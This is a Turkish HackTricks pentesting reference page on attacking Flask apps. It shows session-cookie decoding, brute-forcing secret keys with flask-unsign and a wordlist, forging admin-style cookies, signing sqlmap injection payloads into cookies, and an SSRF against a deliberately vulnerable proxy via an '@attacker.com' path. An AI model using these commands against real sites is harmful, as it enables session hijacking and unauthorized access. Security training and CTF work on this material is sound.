Flask
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI** ile ilgili olacaktır.**
Cookies
Varsayılan çerez oturum adı session
.
Decoder
Çevrimiçi Flask çerezleri çözücü: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile çözün.
echo "ImhlbGxvIg" | base64 -d
Çerez ayrıca bir şifre kullanılarak imzalanmıştır.
Flask-Unsign
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
https://pypi.org/project/flask-unsign/
pip3 install flask-unsign
Çerezleri Çöz
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
İmza
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Eski sürümleri kullanarak imzalama
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerini brute-force yapmak için komut satırı aracı.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Flask oturum çerezinde SQLi ve SQLmap
Bu örnek, bilinen bir gizli anahtar kullanarak Flask için sqlmap yüklerini otomatik olarak imzalamak üzere sqlmap eval
seçeneğini kullanır.
Flask Proxy ile SSRF
Bu yazıda, Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Aşağıdaki senaryoda:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Şeytanın bir SSRF oluşturmasına neden olmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.